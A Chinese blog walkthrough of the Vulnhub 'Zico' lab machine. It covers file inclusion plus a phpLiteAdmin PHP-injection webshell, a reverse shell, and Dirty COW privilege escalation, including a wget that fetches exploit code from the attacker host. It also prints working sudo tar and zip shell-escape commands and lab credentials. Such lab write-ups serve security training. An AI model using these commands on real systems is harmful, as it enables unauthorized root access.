Vulnhub 渗透练习(九)——Zico

文章描述了一次渗透测试的过程,包括环境准备、信息收集、发现并利用1.9.3版本PHP远程代码执行漏洞,通过文件读取进行命令执行。接着,利用脏牛漏洞提升权限,再通过tar和zip命令进行提权,最终恢复并保持root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境搭建

环境下载

靶机用 vtrtualbox 打开,攻击机随意,其他网络配置和前几个靶机一样。

信息收集在这里插入图片描述

三个端口。
在这里插入图片描述
没见过 111 端口,看下是什么服务,rpc 服务。

主要用于分布式系统中不同计算机的内部进程通信。

在这里插入图片描述
跑一下目录,顺便测一下网页。

这边能够文件读取。

在这里插入图片描述
在这里插入图片描述

跑出来的目录还不少。
在这里插入图片描述

漏洞挖掘

/dbadmin/test_db.php 尝试密码 admin 成功,且 1.9.3 版本是有远程php代码执行漏洞的,但是这个数据库的目录我们访问不了,但是我们可以通过上面那个文件读取漏洞,来包含它,这样不就可以执行命令了吗。
在这里插入图片描述

在这里插入图片描述

先创个数据库,然后创一个有 PHP 马的表。
在这里插入图片描述
成功命令执行,反弹个 shell。
在这里插入图片描述
给它 url 编码一下。

在这里插入图片描述
在这里插入图片描述
反弹成功。

在这里插入图片描述

脏牛提权

先用 python 开个简单的交互 shell。

在这里插入图片描述

test_user 中有两个账密,尝试 ssh 登录失败。
在这里插入图片描述

root:34kroot34
zico:zico2215@

查一下 suid
在这里插入图片描述
切换不了用户,直接漏洞探针探一波,具体怎么探,看一下我的渗透练习(七),把探针传到 /usr/databases 目录下,给执行权限,执行。

chmod +x linux-exploit-suggester.sh

在这里插入图片描述
利用脏牛提权,上传脚本,编译并执行。

wget http://192.168.56.102/40839.c
gcc -pthread 40839.c -o dirty -lcrypt
./dirty 12345

要等好一会。
在这里插入图片描述
成功添加 root 权限用户 firefart
在这里插入图片描述

root 成功。
在这里插入图片描述
拿到 flag。
在这里插入图片描述

其他提权

在 wordpress 的配置文件中有 zico 的账密。

zico
sWfCsfJSPV9H3AmQzw8

在这里插入图片描述
成功切换为 zico。
在这里插入图片描述
在这里插入图片描述

sudo -l 时候,说没有 root 用户,那是因为脏牛提权的时候,root 用户变成了 firefart 用户,我们只需要把脏牛提权的时候生成的 passwd 备份文件覆盖当前的 /etc/passwd 就行了。
在这里插入图片描述
先切换成 firefart 用户,执行 mv /tmp/passwd.bak /etc/passwd 命令后,root 用户就恢复了。

在这里插入图片描述
这次 sudo -l 成功,可以看到两个 root 权限的命令,tar 和 zip。

在这里插入图片描述

tar 提权

sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

在这里插入图片描述

zip 提权T

直接利用 zico 目录下的 to_do.txt 压缩提权。

sudo -u root zip to_do.zip to_do.txt -T --unzip-command="sh -c /bin/bash"

在这里插入图片描述

总结

文件包含+数据库文件写马	getshell
脏牛提权后恢复 root 用户(切换为 firefart 用户执行 mv /tmp/passwd.bak /etc/passwd)
tar 和 zip 提权
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo -u root zip to_do.zip to_do.txt -T --unzip-command="sh -c /bin/bash"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值